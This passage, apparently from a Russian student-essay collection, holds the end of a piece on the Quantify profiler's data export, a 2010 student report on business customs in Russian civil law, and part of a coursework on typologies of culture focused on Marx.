Рисунки показывают слепки фрагментов экрана Quantify по окончании тестирования.

Профилировщик Quantify

Рис. Данный рисунок демонстрирует вид окна после выполнения команды снятия слепка или вызова функции API QuantifySaveData()

Профилировщик Quantify

Рис. Обратите внимание на поле аннотации

Профилировщик Quantify

Рис. У Quantify отсутствуют сложности с русскими буквами

Сохранение данных и экспорт

Традиционные операции над файлами присущи и программе Quantify. Дополнительные особенности заключаются в том, что сохранять данные можно как во встроенном формате (qfy), для каждого отдельного запуска, так и в текстовом виде, для последующего использования в текстовых редакторах, либо для дальнейшей обработки скриптовыми языками типа perl (более подробно смотрите об этом в разделах по ClearCase и ClearQuest).

Quantify позволит переносить таблицы через буфер обмена в Microsoft Excel, что открывает безграничные возможности по множественному сравнению запусков, по построению графиков и различных форм. Все что необходимо сделать — это только скопировать данные из одной программы и поместить в другую известным способом.

Список литературы

Для подготовки данной работы были использованы материалы с сайта http://software-testing.ru

Реферат: Обычаи делового оборота и иные обычаи и их роль в регулировании предпринимательских отношений

МИНИСТЕРСТВО СЕЛЬСКОГО ХОЗЯЙСТВА РОССИЙСКОЙ ФЕДЕРАЦИИ

ФГОУ ВПО «ИВАНОВСКАЯ ГОСУДАРСТВЕННАЯ СЕЛЬСКОХОЗЯЙСТВЕННАЯ АКАДЕМИЯ ИМЕНИ АКАДЕМИКА Д.К.БЕЛЯЕВА»

ЭКОНОМИЧЕСКИЙ ФАКУЛЬТЕТ

КАФЕДРА ОРГАНИЗАЦИИ ПРЕДПРИНИМАТЕЛЬСТВА И МЕНЕДЖМЕНТА В АПК

Реферат

На тему: «Обычаи

делового оборота и иные обычаи и их роль в регулировании предпринимательских отношений».

Выполнила:

студентка 5 курса 1 группы

экономического факультета

Маслова О.В.

Проверила: Тюрина И. Н.

ИВАНОВО 2010

Содержание

1. Понятие обычая делового оборота и правового обычая

2. Природа обычаев делового оборота и правовых обычаев

3. Правовое значение обычаев делового оборота и условия их применения

4. Сфера применения обычаев делового оборота как источника права

Список использованной литературы

1. Понятие обычая делового оборота и правового обычая

Обычаем делового оборота признается сложившееся и широко применяемое в какой-либо области предпринимательской деятельности правило поведения, не предусмотренное законодательством, независимо от того, зафиксировано ли оно в каком-либо документе. (ст.5 ГК РФ)

Обычай делового оборота как «правило поведения» определяется следующим:

это правило не предусмотрено ни законодательством, ни договором;

оно сложилось, т. е. стало достаточно определенным в своем содержании;

данное правило широко применяется;

правило применяется в какой-либо области предпринимательской деятельности.

При наличии одновременно всех этих признаков такие правила поведения становятся источниками гражданского права и применяются судами при разрешении споров, вытекающих из предпринимательской деятельности. При этом, обычаи делового оборота могут быть применены независимо от фиксации их в каких-либо нормативно-законодательных документах — они могут быть просто опубликованы в печати, изложены во вступившем в законную силу решении суда по конкретному делу, содержащему сходные обстоятельства и тому подобное.

При заключении договоров стороны (участники договора) могут предусмотреть, что к их отношениям не применяются соответствующие обычаи делового оборота, что соответствует общегражданскому принципу свободы договора.

Обычаи делового оборота не применяются также, если они противоречат обязательным для участников соответствующего отношения положениям законодательства.

В юридическом энциклопедическом словаре обычай (правовой)— санкционированное государством правило, которое сложилось в результате длительного повторения людьми определенных действий, благодаря чему закрепилось как устойчивая норма.

Основные черты обычая как источник права:

продолжительность существования. Обычай очень консервативен и сообразуется не столько с перспективой развития общества, сколько с его прошлым. Обычай закрепляет то, что складывалось в результате длительной общественной практики и может отражать как общие моральные, духовные ценности народа, так и в значительной мере предрассудки, расовую и религиозную нетерпимость, неравноправие полов и т.д. Поэтому государство к различным обычаям относится по-разному: одни запрещает, другие одобряет и развивает;

постоянность соблюдения. Это необходимое условие для того, чтобы обычай, как правило, как модель поведения в конкретной ситуации не исчез, поскольку он сохраняется обычно только в сознании народа и нигде не записан;

обычай имеет, как правило, локальный характер, т.е. применяется в рамках сравнительно небольших групп людей или на сравнительно небольшой территории. Он часто тесно связан с религией. В Индии, например, обычное право, входит в структуру индусского права;

обычай санкционируется (признается) государством путем восприятия его судебной или административной практикой. Но если содержание обычной нормы находит свое выражение в нормативных актах, в этом случае источником права будет являться уже не обычай, а нормативный акт.

2. Природа обычаев делового оборота и правовых обычаев

Исторически обычай предшествует всем другим источникам права. Впервые он возникает на переходном этапе от первобытнообщинной организации общества к государственной в результате санкционирования существующих обыкновений нарождающимися государственными структурами. В ранних государственно-организованных обществах правовой обычай занимал ведущее положение. В Древнем Риме, например, из правовых обычаев складывались важнейшие отрасли и институты права. В феодальной Европе обычай был основным источником права до XVI века. В настоящее время роль обычая в разных правовых системах мира (и государствах) неодинакова. В РФ обычай признается вспомогательным источником права; законодательства РФ иногда прямо отсылает к обычаям или допускает их применение. Так, в ГК РФ содержатся ссылки на обычаи делового оборота (ст. 6), национальный обычай (ст.9) и местный обычай (ст.221 ,309, 311, 312, 314-316, 406, 421).

Совокупность обычаев, если их значительное количество, называют обычным правом. Обычное право система правовых норм, основывающихся на обычае, регулирующая общественные отношения в данном государстве, в определенной местности либо для данной этнической или социальной группы. Обычай — основная форма регулирования поведения в догосударственном обществе, в условиях родового строя. Огромное значение как источника права ему отводилось в древних государствах и при феодализме. Первые правовые памятники состояли главным образом из обычаев.

В России до 1917 года обычай регулировал отношения между крестьянами. Исследователи отмечали, что в сфере частного гражданского права большинство населения России руководствуется обычным правом, а писаные законы предназначены для меньшинства. Даже после революции 1917 года большевики не смогли сразу отказаться от обычного права, что свидетельствует о его значимости. Статьи 8, 77 Земельного Кодекса РСФСР 1922 года допускали использование обычая при регулировании земельных, семейных и иных отношений среди крестьян.

Советская правовая доктрина относилась к правовому обычаю отрицательно. Это и понятно — для становления и закрепления обычного права требуется значительное время, а новое социалистическое общество, возникшее после революции 1917 года, в соответствии с господствовавшими представлениями принципиально и качественно отличается от строя, который существовал ранее. В настоящее время обычай находит достаточно широкое применение при регулировании общественных отношений в государствах Азии, Африки, Океании. В развитых государствах обычай играет второстепенную роль по сравнению с другими источниками права — нормативным актом и судебной практикой. Обычай понимается, прежде всего, как норма, дополняющая закон в тех случаях, когда соответствующее предписание в законе вообще отсутствует или оно недостаточно полно. Однако, например, в современной Франции или ФРГ в сфере гражданского и торгового права не исключается применение обычая не только в дополнение, но и против закона.

Специфика обычаев делового оборота обусловлена самой их природой, то есть тем, что как таковые они не могут появиться в обществе, в котором, во-первых, не развит собственно товарно-денежный обмен и, во-вторых, не сложились относительно стабильные отношения по поводу условий и порядка такого обмена (оборота), что позволяет идентифицировать эти отношения как отношения деловые.

История возникновения и природа обычаев делового оборота наиболее предметно выражена в нормах римского частного права как основной, базисной системы правовых норм, воспринятой континентальной системой права (в настоящее время римское частное право является основой для правовых систем большинства европейских государств, в том числе и России). Римское право в контексте рассматриваемой проблемы наиболее точно отражает природу обычаев делового оборота постольку, поскольку основу римского права составляет право частной собственности как безусловной основы всякого товарно-денежного процесса.

Изначальные предпосылки возникновения обычаев делового оборота лежат в самой природе человеческого общества и законов его развития. Правила поведения, диктуемые элитарными группами общества, пройдя процесс деперсонификации, превращались в обычаи, многие из которых с развитием государства, в свою очередь, после прохождения законодательного процесса, в разных государствах разного, становились правовыми нормами.

Таким образом, как таковой обычай существовать переставал, преобразовавшись из общепринятого в общеобязательное для всех членов общества правило поведения, что свидетельствовало о признании такого обычая со стороны государственной власти. Тем не менее, часть этих обычаев осталась за рамками законодательного регулирования. Происходило это по разным причинам.

Во-первых, не каждый обычай мог быть воспринят нормами права по мотивам нецелесообразности, например, из-за слишком узкой сферы применения или слишком специфического смысла.

Во-вторых, по мере развития общества и общественных отношений (в нашем случае — экономических), складывающихся между производителями услуг и их потребителями, с определённой периодичностью возникают новые обычаи, которые в силу длительности законодательного процесса не попадают в поле зрения законодателя.

Кроме того, многие из обычаев, которые сложились в сфере экономической деятельности, просто бессмысленно включать в правовое поле, поскольку касаются они собственно поведения хозяйствующих субъектов по отношению к партнёру (контрагенту), причём обычай этот относится больше к сфере морально-этической («хорошо-плохо», «порядочно-непорядочно»).

3. Правовое значение обычаев делового оборота и условия их применения

Правовое значение обычаев делового оборота состоит в том, что они по очередности применения находятся после нормативных актов и договора. В этой связи ст. 5 ГК РФ предусматривает, что обычаи делового оборота, которые противоречат обязательным для участников соответствующего отношения положениям законодательства или договора, не применяются.

Один из видов обычаев делового оборота выделен в самом ГК. Имеется в виду ст. 427, которая допускает возможность использования примерных условий, разработанных одним из контрагентов. Она предусматривает, что примерные условия рассматриваются как договорные условия в случаях, когда в самом договоре содержится отсылка к ним.

Если же такая отсылка отсутствует, примерные условия применяются к отношениям сторон в качестве обычаев делового оборота. Для этого необходимо, чтобы такие условия отвечали требованиям, которые предъявляются в ст. 5 ГК РФ (имеется в виду, прежде всего то, что они не противоречат обязательным для сторон положениям законодательства или заключенному сторонами договору), а также в п. 5 ст. 421 (они не противоречат любым применяемым к отношениям сторон нормам законодательства, включая диспозитивные).

Условия применения обычаев делового оборота

Здесь наиболее актуален вопрос не о том, применять ли обычай делового оборота при осуществлении нормального предпринимательского процесса, при отсутствии разногласий и споров между контрагентами. Важнее понять, какой обычай делового оборота применять или не применять при разрешении спора, когда при обосновании своего, не урегулированного ни законом, ни договором действия (бездействия) сторона ссылается на некий «обычай делового оборота», сообразуясь с которым она и поступила.

Объясняется это тем, что при заключении договора стороны стараются предусмотреть условия, которые, как стороны предполагают, должны или могут наступить. Даже если стороны и имеют в виду некий обычай, они наверняка сформулируют его как условие договора. В заключительной части договора, говоря об условиях, в данном договоре не прописанных, делают оговорку «отношения, не урегулированные настоящим договором, регулируются действующим гражданским законодательством РФ». Ссылки в договоре на «обычаи делового оборота», очевидно, крайне редки.

Поэтому вопрос о применении обычая делового оборота становится актуальным при разрешении конфликтных ситуаций, сложившихся в процессе исполнения договора. Безусловно, сообразуясь с нормами законодательства, стороны могут апеллировать к нарушенному обычаю уже при урегулировании спорных отношений путём переговоров (например, в претензионной переписке). Однако чаще всего правоприменительным органом (а, как доказывалось выше, обычай делового оборота, несмотря на свою специфику, относится к источникам права) будет, скорее всего, арбитражный или федеральный суд.

Такой же точки зрения придерживается и судебный орган, который наделён законодателем правом изучать и обобщать судебно-арбитражную практику и давать разъяснения арбитражным судам по применению законодательства, регулирующего предпринимательскую и иную экономическую деятельность — Пленум Высшего Арбитражного Суда РФ (ВАС РФ).

Таким образом, в качестве условий применения обычая делового оборота можно выделить следующее:

1. правило поведения должно быть не предусмотрено законодательством или договором (в противном случае, несмотря на то, что по существу правило является именно обычаем (традицией), будучи включённым в договор, оно становится его условием);

2. смысл правила должен быть определён, однозначен для суда (в идеале — также и для обеих сторон); при этом определённость и однозначность означают сложившуюся сущность и смысл правила, которые, в свою очередь, являются результатом широкого применения;

3. правило поведения должно применяться в какой-либо области предпринимательской деятельности (то есть ссылки на некое правило, действующее, скажем, в административных или семейных отношениях, применительно к предпринимательской деятельности будет неправомерно);

4. применяться может как правило поведения, зафиксированное в каком-либо документе, так и нигде не зафиксированное.

Возникает вопрос, пожалуй, один из самых сложных как в теории применения обычаев делового оборота, так и в практике — каким образом широкое применение того или иного правила будет сторонами доказываться?

Этот вопрос решается достаточно легко, когда у суда ещё в начале рассмотрения дела есть определённая убеждённость относительно правил, по которым стороны должны были действовать, исполняя то или иное обязательство, пользуясь правами и т.п., то есть когда суд изначально убеждён, что то или иное правило является в данной области предпринимательской деятельности именно обычаем делового оборота, а не частным случаем.

Здесь сложность для стороны, несогласной с решением суда, основанном на таком убеждении, возникает на стадии обжалования этого решения — ей предстоит доказать, что правило, положенное судом в основу своего решения в качестве обычая делового оборота, таковым не является, что едва ли не сложнее, нежели доказывание соответствия правила сложившейся практике.

Гораздо более распространены случаи, когда заинтересованной стороне предстоит убедить суд в существовании и повсеместном применении того или иного обычая.

4. Сфера применения обычаев делового оборота как источника права

С точки зрения включения в систему источников права того или иного государства обычай по сей день в большинстве стран является признанным равноправным источником наряду с законами, подзаконными актами и иными источниками (формами) права.

В Российской Федерации группа деловых обыкновений и обычаев делового оборота выделяется среди источников гражданского права, которые, как известно, регулируют отношения.

Специфика гражданского права состоит в том, что оно объединяет в себе нормы, регулирующие имущественные отношения и связанные с ними личные неимущественные отношения (ст. 2 ГК РФ).

Под имущественными отношениями понимаются отношения в обществе, которые возникают по поводу различного рода материальных благ, то есть вещей, работ, услуг и иного имущества в широком смысле этого слова.

При этом гражданское право регулирует не все имущественные отношения, возникающие в обществе, а только те из них, которые относятся к имущественно-стоимостным отношениям. (Например, отношения имущественного характера, возникающие между супругами, регулируются нормами семейного права, и только заключение между супругами брачного договора (то есть самостоятельное инициативное установление отличного от установленного законодателем правового режима), переносит их в сферу действия права гражданского. Кроме того, отношения, возникшие по поводу открытия наследства в случае смерти одного или обоих супругов также регулируются нормами гражданского права, поскольку они приобретают стоимостный характер).

К отношениям, регулируемым нормами гражданского права, в первую очередь относятся товарно-денежные отношения, а также те, которые не связаны непосредственно с денежным обращением (например, отношения по обмену, дарению и т.п.). Тем не менее, они, безусловно, также носят стоимостный характер, поскольку все связаны с действием экономического закона стоимости.

Помимо имущественных, а точнее, имущественно-стоимостных отношений, гражданское право регулирует и личные неимущественные отношения. К личным неимущественным отношениям относятся такие отношения, которые, во-первых, возникают по поводу неимущественных благ (чести, достоинства, деловой репутации, имени гражданина, наименования юридического лица, авторского произведения, изобретения, промышленного образца и т. п.), во-вторых, неразрывно связаны с личностью участвующих в этих отношениях лиц (ст. 150 ГК РФ).

Таким образом, можно говорить о том, что со времён римского права «тематика» обычаев, воспринятых европейскими правовыми системами, сохранилась — они относятся только к сфере имущественных и смежных отношений, в отличие от, к примеру, религиозных или семейных обычаев.

И, как уже отмечалось, одним из источников гражданского права, наряду с законами, подзаконными актами и международными нормами, является группа деловых обыкновений и обычаев делового оборота.

Под деловыми обыкновениями понимаются установившиеся в гражданском обороте правила поведения лиц, в нём участвующих. Сами по себе деловые обыкновения не являются источниками права. Однако в тех случаях, когда государство санкционирует правовым актом какое-либо деловое обыкновение, оно приобретает юридическую силу правовой нормы и входит в систему гражданского законодательства. Однако здесь нельзя говорить о самостоятельном характере деловых обыкновений как правового источника, то есть для того, чтобы стать таковым, деловому обыкновению необходимо пройти все стадии законодательного процесса.

По ранее действовавшему законодательству только отдельные нормы права для конкретных случаев предусматривали возможность применения деловых обыкновений. В частности, п. 2 ст. 57 Основ гражданского законодательства СССР и республик 1991 г. (ст. 168 ГК РСФСР 1964 г.) предусматривал, что обязательства должны исполняться надлежащим образом и в установленный срок в соответствии с условиями договора и требованиями законодательства, а при отсутствии таких условий и требований — в соответствии с обычно предъявляемыми требованиями. Эти обычно предъявляемые требования и вытекают из деловых обыкновений.

В отличие от деловых обыкновений, обычаи делового оборота выделены законодателем особо.

Эти обычаи делового оборота в настоящее время получили значительно более широкое применение по сравнению с другими деловыми обыкновениями. В соответствии со ст. 6 ГК РФ, если отношение, входящее в предмет гражданского права, то есть относящееся к имущественным и связанным с ними неимущественным отношениям, не урегулировано законодательством или соглашением сторон (договором), то к нему применяется обычай делового оборота.

Следует отметить, что сфера действия обычая делового оборота более узкая, нежели все отношения, регулируемые гражданским правом.

Гражданское право определяет правовое положение (статус) участников гражданского оборота, основания возникновения и порядок осуществления права собственности и других вещных прав, исключительных прав на результаты интеллектуальной деятельности (интеллектуальной собственности), регулирует договорные и иные обязательства, а также другие имущественные и связанные с ними личные неимущественные отношения, основанные на равенстве, автономии воли и имущественной самостоятельности участников.

Участниками регулируемых гражданским законодательством отношений являются граждане и юридические лица. В них также могут участвовать Российская Федерация, субъекты Российской Федерации и муниципальные образования.

Гражданское законодательство регулирует отношения между лицами, осуществляющими предпринимательскую деятельность, или с их участием, а также применяется к отношениям с участием иностранных граждан, лиц без гражданства (апатридов) и иностранных юридических лиц, если иное не предусмотрено федеральным законом.

Как видно, сфера применения норм гражданского права весьма широка. Однако не везде в качестве правила поведения могут применяться обычаи делового оборота.

Так, ст. 5 ГК РФ однозначно определяет, что обычаи делового оборота могут применяться только в сфере предпринимательской деятельности.

При кажущейся логичности (предпринимательская деятельность осуществляется в сфере делового оборота) норма ст. 5 ГК РФ таит в себе существенное противоречие.

Возникает вопрос — могут ли обычаи делового оборота применяться в имущественных отношениях товарно-денежного, стоимостного характера, вытекающих из предпринимательской деятельности, если в них участвуют не только предприниматели? Или — применять ли обычное правило поведения к отношениям между предпринимателями, если такие отношения возникли не в связи с предпринимательской деятельностью или не однозначно в связи с ней?

Понятие предпринимательской деятельности в настоящий момент содержится в ч. 3 п. 1. ст. 2 ГК РФ.

В соответствии с определением, данным указанной нормой, для того, чтобы деятельность можно было отнести к предпринимательской, она должна отвечать одновременно следующим требованиям:

1. деятельность должна быть самостоятельной;

2. деятельность должна осуществляться на риск осуществляющего её лица;

3. целью деятельности должно быть систематическое получение прибыли от пользования имуществом, продажи товаров, выполнения работ, оказания услуг;

4. лицо, осуществляющее такую деятельность, должно быть зарегистрировано в качестве лица, осуществляющего предпринимательскую деятельность, в установленном законом порядке.

Виды легальной предпринимательской деятельности, разрешённой и регламентированной российским законодательством, весьма разнообразны. К ним относится и деятельность по оказанию консультационных услуг любого, не запрещённого законом, характера, включая медицинские услуги.

Кроме того, принципы свободы договора и дозволительной направленности гражданско-правового регулирования («разрешено всё, что не запрещено законом»), гарантируют хозяйствующим субъектам право заниматься не запрещённой законом предпринимательской деятельностью, не оговорённой действующим законодательством (ст. ст. 1, 9, п.п. 2, 3, 4 ст. 421 ГК РФ).

В Российской Федерации медицинскую предпринимательскую деятельность могут осуществлять юридические лица — коммерческие предприятия различных организационно-правовых форм (открытые и закрытые акционерные общества, общества с ограниченной ответственностью, общества с дополнительной ответственностью и т.п.), а также некоммерческие организации (учреждения, общественные и религиозные организации (объединения), фонды, ассоциации и союзы и др.) в той мере, поскольку это необходимо для достижения их уставных целей и задач — и физические лица — граждане, зарегистрированные в качестве лиц, занимающихся предпринимательской деятельностью без образования юридического лица (индивидуальные предприниматели, иными словами – частнопрактикующие врачи).

Таким образом, очевидно, что применение обычаев делового оборота возможно только к отношениям, возникающим между вышеуказанными лицами.

Является ли препятствием для применения обычая делового оборота тот факт, что заказчиком выступает государственный орган? По всей видимости, нет, поскольку определяющим фактором для отнесения конкретных отношений к предпринимательским будет являться предпринимательский характер этих отношений для активной стороны, стороны исполнителя.

Следует отметить, что обычаи делового оборота могут применяться только к законным видам предпринимательской деятельности. Законность в данном случае означает, во-первых, то, что деятельность должна быть разрешена действующим законодательством, во-вторых, то, что если тот или иной вид деятельности требует получения специального разрешения соответствующих государственных органов, то занятие ею без такого разрешения (лицензии) делает её незаконной.

Ещё одним ограничением сферы применения обычаев делового оборота является то, что отношения, к которым такие обычаи могут быть применены, должны складываться именно в сфере предпринимательской деятельности хозяйствующего субъекта. Это правило не сформулировано в ст. 5 ГК РФ, однако оно прямо вытекает из толкования норм, касающихся предпринимательской деятельности, и собственно понятия делового оборота.

На практике это означает, что обычаи делового оборота не могут применяться к отношениям, возникшим между двумя хозяйствующими субъектами, но не в связи с их предпринимательской деятельностью, например, из причинения имущественного вреда.

Из вышесказанного можно сделать следующие выводы: во-первых, обычаи делового оборота ГК официально признаны как источники гражданского права. Деловые обыкновения, под которыми понимаются устоявшиеся в гражданском обороте правила поведения, приобретают юридическую силу лишь в таких случаях, когда государство правовым актом прямо санкционирует их; во-вторых, сфера применения обычаев делового оборота (предпринимательская деятельность) значительно уже области функционирования деловых обыкновений (гражданский оборот); в-третьих, обычаи делового оборота и обычно предъявляемые требования не закреплены в виде обязательных норм права в нормативных актах, а также в договорах.

Список использованной литературы

Конституция Российской Федерации. Гимн Российской Федерации. Герб Российской Федерации. Флаг Российской Федерации. — М.: ООО Омега-Л, 2003

Арбитражный процессуальный кодекс Российской Федерации.— М.: Омега-Л, 2006.

Гражданский кодекс Российской Федерации. Части первая, вторая и третья. — М.: Омега-Л, 2004.

Гражданский процессуальный кодекс Российской Федерации. — М.: Омега-Л, 2006.

Гражданское право. Часть первая: Учебное пособие. Издание 2-е, переработанное и дополненное / Редкол.: Филиппов П.М. (отв. Редактор), Цирульников В.Н., Черячукин Ю.В. (отв. секретарь). — М.: ИМЦ ГУК МВД России, 2003 .

Гражданское право: Учебник / Под ред. С.П. Гришаева. — М.: Юристь, 1998.

Козлова Е.И.; Кутафин О.Е. Конституционное право России: Учебник.- 3-е изд. перераб. и доп. — М: Юристь, 2003.

Лазарев В.В., Липень С.В. Теория государства и права: Учебник для вузов. — 2-е издание, исправленное и дополненное. — М.: Спарк, 2000.

Мушинский В.О. Основы гражданского права: Учебное пособие для студентов неюридических специальностей. — М.: Междунар. отношения, 1995.

Проблемы теории права и государства. Курс лекций / Под общей редакцией профессора, академика В.П. Сальникова. — СПб.: Санкт-Петербургский университет МВД России, 1999.

Контрольная работа: Типологизация культур

1 Проблема типологизации культур в современной культурологи

2 Типологизация культур К. Маркса и К. Ясперса

3 Типологизация культур О. Шпенглера и А. Тойнби

Литература

1 Проблема типологизации культур в современной культурологии

Современная культурология представляет собой сложившуюся область знаний. Обеспечивающую особый взгляд на процесс социокультурного развития человеческой общности. На данном предметном поле выработаны оригинальные методики сбора, обработки и интерпретации эмпирических данных, принципы и технологии практического внедрения теоретических результатов исследований. В то же время, будучи молодой и активно развивающийся дисциплиной, современная культурология нуждается в уточнении ряда теоретических позиций и прояснений. Стратегий актуализации потенциала исторического, гуманитарного и социального знания в обществе. В обсуждении нуждаются такие специфические для культурологии проблемы, как уточнение предмета культурологии в рамках общей «классификации наук», согласование базовых исследовательских стратегий и дескриптивных процедур, делимитация статуса частных наук в рамках наук о культуре, выявление локального своеобразия и базовых универсалий культуры, присущих обществам традиционного и современного типов. Необходимость скорейшего осознания насущных проблем современной культурологии, равно как и ее стратегических перспектив, получает дополнительный стимул со стороны общего контекста эпохи. Сегодня мы имеем дело не только с проблемой разрастания «антропологического кризиса», но и с настоятельным требованием адаптации традиционных культурных устоев к формирующемуся глобальному порядку универсальной цивилизации нового типа. В частности, перед нами стоит задача прояснения этнокультурного и цивилизационного статуса современной России в стремительно изменяющемся мире. В этих условиях многократно возрастает культуротворческий потенциал гуманитарного знания в целом и культурологии в частности. В этих условиях представляется особенно конструктивным и актуальным позиционировать культурологическую экспертизу и консультацию в качестве ключевого фактора в процессе принятия управляющих решений и их проведении в жизнь на всех уровнях, от личного и локального до государственного и международного. Целесообразно поставить на постоянную основу его упорядочивающее участие в организации сети площадок открытого интегративного диалога между представителями разных народов, религий и культур, организуемого в сотрудничестве с неправительственными, правительственными, наднациональными и международными организациями.

2 Типологизация культур К. Маркса и К. Ясперса

Карл Генрих Маркс (1818-1883) не был культурологом в узком смысле этого слова. Более того, сам термин «культура» создатель материалистического понимания истории употреблял сравнительно редко и, как правило, по частным поводам. Тем не менее, концепция Маркса, несомненно, несет в себе вполне определенные культур-философские представления, в которых проявились и сила, и слабость его теоретических построений. Вначале образ культуры у молодого Маркса-гегельянца прорисовывается через Абсолютный Дух. Но уже вскоре, под влиянием Фейербаха, он утверждает «посюсторонность» человеческого существования и человеческой деятельности. Укорененность человека в природном и предметном мире, который становится для него «опредмечиванием самого себя, утверждением и осуществлением его индивидуальности» Предметность человеческой деятельности, «сплавляя» воедино «материальное» и «идеальное», образует особую структуру, по существу являющуюся носительницей культуры. Даже человеческие чувства у Маркса носят не абстрактно-антропологический, как у Фейербаха, а предметно-культурный характер, встроены в социальное бытие и являются результатом всей всемирной истории. Именно поэтому «человеческий глаз воспринимает и наслаждается иначе, чем грубый, нечеловеческий глаз, человеческое ухо — иначе, чем грубое неразвитое ухо» Позже, в подготовительных рукописях к «Капиталу» Маркс выскажет еще определеннее: «Голод есть голод, однако голод, который утоляется вареным мясом, поедаемым с помощью ножа и вилки, это иной голод, чем тот, при котором проглатывают сырое мясо с помощью рук, ногтей и зубов» Уже в ранних работах Маркса появляется «деятельная» тема, и культура понимается как «деятельность» Параллельно начинается анализ категории отчуждения. Отчуждение как бы разрушает органическое состояние, в котором должна реализоваться универсальная природа человека. В условиях отчуждения культура существует в изуродованной форме, в виде мертвой «чисто-вещественной» оболочки. Отчуждение ставит с ног на голову иерархию человеческих чувств и потребностей. Самоотчужденный индивид (рабочий) чувствует себя свободным, только исполняя «животные» функции (еда, питье, половой акт), а в специфически-человеческой деятельности (в труде) чувствует себя, наоборот, «животным». Возникает парадоксальная ситуация, когда «то, что присуще животному, становится уделом человека, а человеческое превращается в то, что присуще животному» Маркс выделяет пять основных форм отчуждения: 1) отчуждение человека от средств труда, в результате чего он оказывается зависимым от собственника этих средств; 2) отчуждение человека от продуктов труда, принадлежащих собственнику; 3) отчуждение человека от человека как равноправного субъекта общественных отношений;

4) отчуждение человека от культуры и духовных ценностей, принадлежащих избранным; 5) отчуждение человека от своей родовой, социальной сущности.

Таким образом, молодой Маркс стремится воплотить целостное, универсальное видение человека и культуры, понятой как единство во многообразии, человеческой деятельности, утверждающей человеческое начало в мире. При этом сущность человека и культуры видится в них социальности. «Индивид есть общественное существо. Поэтому всякое проявление его жизни — даже если оно и не выступает в непосредственной форме коллективного, совершаемого совместно с другими проявлениями жизни — является проявлением и утверждением общественной жизни»29. Индивидуальная жизнь и родовая оказываются у Маркса по существу однотипными и различаются лишь по степени всеобщности. Индивида самого по себе — мыслящего, страдающего, наполненного внутренней жизнью, индивида как особого рода культурной реальности для Маркса — и такова специфика его воззрений, — не существует. Эту сторону проблемы выделил в свое время С. Н. Булгаков, отмечавший недооценку Марксом проблемы индивидуальности как «абсолютно неразложимого ядра человеческой личности». «Маркс успешно миновал… без всяких видимых последствий для себя, могучий этический индивидуализм Канта и Фихте, дыханием которых был напоен самый воздух Германии 30-х годов… И уж тем более Марксу не представлялась возможной разъедающая критика «подпольного человека» Достоевского… В нем не было ни малейшего предчувствия бунтующего индивидуализма грядущего Ницше, когда он зашнуровывал жизнь и историю в ломающий ребра социологический корсет»

Не является органическим элементом культуры для Маркса и религия. Она — «вздох угнетенной твари», «сердце бессердечного мира», «опиум народа», иллюзорное сознание, которое необходимо преодолеть. Религия — сознание «потерявшего себя человека», который, не решив свои проблемы на земле, «отдалил их от себя» и перенес на небо. В будущем обществе, которое сумеет преодолеть свои противоречия «земным образом», религии места не будет. В последующих работах, в частности, в «Тезисах о Фейербахе» и «Немецкой идеологии» (написана совместно с Ф. Энгельсом), Маркс продолжает исследование социально-деятельностных параметров культуры. Сущность человека видится ему как «ансамбль общественных отношений». Способы производства жизни и формы общения, связанные с разделением труда, складываясь за спиной индивида, не только не поддаются контролю его воли и сознания, но даже господствуют над ним. Именно система разделения труда (видов и типов деятельности) создает ситуацию отчуждения человека от общественного производства. В условиях возникновения всеобщей системы обмена (в этом Маркс видел качественное отличие исследуемой им буржуазной цивилизации от добуржуазных обществ) индивид превращается в раба, в «говорящее орудие» отделенных от него всеобще-человеческих сил и способностей, а культура приобретает безлично-овеществленный характер. Исходя из этих предпосылок, Маркс создает материалистическое понимание общества и истории, суть которого он резюмирует так: «В общественном производстве своей жизни люди вступают в определенные, необходимые, от их воли, не зависящие отношения — производственные отношения, которые соответствуют определенной ступени развития их материальных производительных сил. Совокупность этих производственных отношений составляет экономическую структуру общества, реальный базис, на котором возвышается юридическая и политическая надстройка и которому соответствуют определенные формы общественного сознания. Способ производства материальной жизни обусловливает социальный, политический и духовный процессы жизни вообще. Не сознание людей определяет их бытие, а, наоборот, их общественное бытие определяет их сознание» Категории базиса и надстройки призваны вычленить главное и неглавное, исходное и производное во всем здании общественного бытия. Ключевой в этом анализе выступает теория общественно-экономической формации, под которой подразумевается исторически определенный тип общества, исходная схема его материальных и духовных структур, его конкретно-исторически заданная модель. В нее органически входят не только экономические, но и социальные отношения, формы быта семьи, а также различные виды общественного сознания. Но основой членения выступают производственные отношения, зависящие от уровня развития производительных сил (современные исследователи нередко утверждают, что категория «способ производства» понимается Марксом широко, как «способ производства общественной жизни» в целом). Маркс, старается критически преодолеть представления своего времени, согласно которым история культуры «целиком является историей религий и государств» т. е. духовной жизни общества. Он убежден в том, что понять историю самой этой духовной жизни можно только как отражение «истории материального производства» Такой взгляд на историю человечества является все же не столько культурологическим, сколько социологическим и политико-экономическим. Односторонность такого толкования жизни и развития человечества (при всей плодотворности Марксовой постановки вопроса) была осознана в свое время Фердинандом Тенниесом, который анализировал историю под углом зрения материалистически понимаемого движения культуры и упрекал Маркса в недооценке специфики последней. Одновременно Маркс ищет общую схему, объяснительная сила которой охватила бы весь исторический процесс. Выстраивает он ее в виде гегелевской триады, по которой человечество в целом проходит три стадии. На первой стадии господствуют «отношения личной зависимости (вначале совершенно первобытные)… при которых производительность людей развивается лишь в незначительном объеме и в изолированных пунктах. Личная независимость, основанная на вещной зависимости, — такова вторая крупная форма, при которой впервые образуется система всеобщего общественного обмена веществ, универсальных отношений, всесторонних потребностей и универсальных потенций. Свободная индивидуальность, основанная на универсальном развитии индивидов и на превращении их коллективной, общественной производительности в их общественное достояние, — такова третья ступень»

В своей философско-исторической концепции Маркс пытается соединить понимание истории как естественно-эволюционного процесса с ее направленностью, «целеположенностью». В ней соединяются деятельность общественного человека, и общие ее составляющие с активностью массы разнонаправленных воль и с результатами, «которых не хотел никто». История бесконечна — но в то же время в ней созревают предпосылки некоего «идеального состояния», в котором сущность человека и культуры проявят себя универсально и свободно. «Люди сами делают свою историю», — но история также делает свое дело и создает на каждом историческом этапе своеобразие этих людей. Абсолютный Дух Гегеля как универсальное творческое начало заменен противоречащими друг другу законами «экономической необходимости», с одной стороны, и свободной человеческой активности — с другой. В этом плане в высшей степени интересна работа «Восемнадцатое брюмера Луи Бонапарта», в которой Маркс, анализируя конкретную историческую ситуацию, стремится найти посредующие звенья между-закономерностью и случайностью, волей и объективным положением вещей, личностью и историей. Здесь люди уже не «экономические персонажи», они — авторы и актеры собственной драмы.

